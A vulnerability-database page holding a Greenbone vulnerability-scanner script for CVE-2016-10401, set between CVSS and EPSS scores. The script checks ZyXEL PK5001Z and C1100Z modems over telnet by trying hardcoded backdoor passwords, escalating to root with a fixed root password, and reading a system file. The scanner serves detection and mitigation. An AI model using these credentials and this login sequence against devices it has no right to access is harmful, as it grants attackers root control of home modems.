8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.8 High
AI Score
Confidence
High
9 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
0.941 High
EPSS
Percentile
99.1%
ZyXEL PK5001Z and C1100Z modems have default root credentials set and a backdoor account with hardcoded credentials.
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.112100");
script_version("2023-07-14T16:09:27+0000");
script_cve_id("CVE-2016-10401");
script_tag(name:"cvss_base", value:"9.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:C/I:C/A:C");
script_name("ZyXEL Modems Backup Account and Default Root Credentials (Telnet)");
script_tag(name:"last_modification", value:"2023-07-14 16:09:27 +0000 (Fri, 14 Jul 2023)");
script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2017-11-03 01:29:00 +0000 (Fri, 03 Nov 2017)");
script_tag(name:"creation_date", value:"2017-11-02 09:19:00 +0200 (Thu, 02 Nov 2017)");
script_category(ACT_ATTACK);
script_family("Default Accounts");
script_copyright("Copyright (C) 2017 Greenbone AG");
script_dependencies("telnetserver_detect_type_nd_version.nasl", "gb_default_credentials_options.nasl");
script_require_ports("Services/telnet", 23);
script_mandatory_keys("telnet/zyxel/modem/detected");
script_exclude_keys("default_credentials/disable_default_account_checks");
script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/43105/");
script_xref(name:"URL", value:"https://forum.openwrt.org/viewtopic.php?id=62266");
script_xref(name:"URL", value:"https://thehackernews.com/2017/11/mirai-botnet-zyxel.html");
script_xref(name:"URL", value:"https://www.reddit.com/r/centurylink/comments/5lt07r/zyxel_c1100z_default_lanside_telnet_login/");
script_tag(name:"summary", value:"ZyXEL PK5001Z and C1100Z modems have default root credentials set and a backdoor account with hardcoded credentials.");
script_tag(name:"impact", value:"This issue may be exploited by a remote attacker to gain full
access to sensitive information or modify system configuration.");
script_tag(name:"vuldetect", value:"Connect to the telnet service and try to login with default credentials.");
script_tag(name:"solution", value:"It is recommended to disable the telnet access and change the backup and default credentials.");
script_tag(name:"insight", value:"In February 2018 it was discovered that this vulnerability is being exploited by the
'DoubleDoor' Internet of Things (IoT) Botnet.");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"Mitigation");
exit(0);
}
if(get_kb_item("default_credentials/disable_default_account_checks"))
exit(0);
include("telnet_func.inc");
include("misc_func.inc");
include("port_service_func.inc");
include("dump.inc");
port = telnet_get_port( default:23 );
banner = telnet_get_banner( port:port );
if( ! banner )
exit( 0 );
if( "PK5001Z login:" >< banner || "BCM963268 Broadband Router" >< banner ) found = TRUE;
if ( found ) {
login = "admin";
passwords = make_list( "CenturyL1nk", "CentryL1nk", "QwestM0dem" );
root_pass = "zyad5001";
report = 'The following issues have been found:\n';
foreach pass( passwords ) {
soc = open_sock_tcp( port );
if( ! soc ) continue;
recv = recv( socket:soc, length:2048 );
if ( "PK5001Z login:" >< recv || "Login:" >< recv ) {
send( socket:soc, data: tolower( login ) + '\r\n' );
recv = recv( socket:soc, length:128 );
if( "Password:" >< recv ) {
send( socket:soc, data: pass + '\r\n\r\n' );
recv = recv( socket:soc, length:1024 );
send( socket:soc, data: 'whoami\r\n' );
recv = recv( socket:soc, length:1024 );
if( recv =~ "admin" ) {
VULN = TRUE;
report += '\n\nIt was possible to login via telnet using the following backup credentials:\n';
report += 'Login: ' + login + ', Password: ' + pass;
}
send( socket:soc, data: 'su\r\n' );
recv = recv( socket:soc, length:1024 );
send( socket:soc, data: root_pass + '\r\n' );
recv = recv( socket:soc, length:1024 );
send( socket:soc, data: 'cat /etc/zyfwinfo\r\n' );
recv = recv( socket:soc, length:1024 );
if( recv =~ "ZyXEL Communications Corp." ) {
VULN = TRUE;
report += '\n\nIt was possible to escalate to root privileges with the following root password: ' + root_pass;
}
}
}
close( soc );
}
if( VULN ) {
security_message( port:port, data:report );
exit( 0 );
} else {
exit( 99 );
}
}
exit( 0 );
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.8 High
AI Score
Confidence
High
9 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
0.941 High
EPSS
Percentile
99.1%